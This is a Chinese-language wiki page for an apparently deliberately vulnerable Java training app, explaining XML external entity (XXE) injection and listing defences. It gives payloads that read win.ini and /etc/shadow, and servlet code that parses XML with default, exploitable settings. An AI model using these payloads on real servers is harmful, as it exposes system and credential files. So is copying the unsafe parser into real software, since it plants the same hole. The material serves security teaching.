Skip to content

XXE(XML实体注入)

en0th edited this page Jul 26, 2024 · 3 revisions

简介

XXE漏洞是指XML外部实体注入漏洞(XML External Entity Injection),它是一种Web应用程序安全漏洞,可以让攻击者利用XML解析器漏洞,读取服务器上的任意文件,执行远程请求等恶意操作。 通常,攻击者会在XML文档中注入恶意的外部实体引用,这些实体引用包含了恶意代码,一旦被服务器解析执行,就会执行相应的操作,例如访问敏感数据、上传恶意文件等。攻击者可以通过修改HTTP请求中的XML数据来触发XXE漏洞。 防范XXE漏洞的措施包括:

  1. 不要信任来自外部的XML数据,对用户输入的XML数据进行严格的输入验证和过滤,包括对实体引用进行白名单或黑名单限制。
  2. 禁用或限制XML解析器中的外部实体功能,例如限制实体的解析范围,禁用或限制DTD解析等。
  3. 采用安全编码实践,例如使用SAX解析器,对解析器进行安全配置等。
  4. 对Web应用程序进行安全漏洞扫描和渗透测试,及时发现和修复漏洞。

攻略

1) 提交XML解析

考察:了解XML攻击方式

任意输入用户名和密码进行提交。

image-20240726155056725

发现接口提交了XML数据,观察返回数据,发现返回了用户名信息。

image-20240726155142764

参考payload:

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///C:\Windows\win.ini"> ]>
<userInfo>
 <username>&ent;</username>
 <password>123456</password>
</userInfo>

通过文件包含的方式读取到了系统文件信息。

image-20240726155310175

开发思路

解析XML有很多方法,比较常见的有XMLReader、SAXBuilder、SAXReader、SAXParserFactory、Digester、DocumentBuilderFactory等。这些方法默认的解析都存在XXE漏洞。 我使用了常见的DocumentBuilderFactory。直接解析请求,并从中根据TagName获取两个标签内容的Text内容。最后还返回了username数据。这就是有回显的XXE漏洞,我们可以用来获取敏感信息。 获取 payload 也很简单,我们可以从GitHub获取。GitHub - payloadbox/xxe-injection-payload-list: XML External Entity (XXE) Injection Payload List

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <username>&ent;</username>
 <password>John</password>
</userInfo>

代码来源:com/pika/electricrat/xxe/XXEServlet.java

public void readXML(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String result="";
    try {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        InputStream ist = request.getInputStream();
        Document doc = db.parse(ist);
        String username = doc.getElementsByTagName("username").item(0).getTextContent();
        String password = doc.getElementsByTagName("password").item(0).getTextContent();
        int isLogin = username.equals("admin") && password.equals("123456") ? 1 : 0;
        result = String.format("<result><code>%d</code><msg>%s</msg></result>",isLogin,username);
    } catch (Exception e) {
        e.printStackTrace();
        result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
    }
    response.setContentType("text/xml;charset=UTF-8");
    response.getWriter().append(result);
}
Clone this wiki locally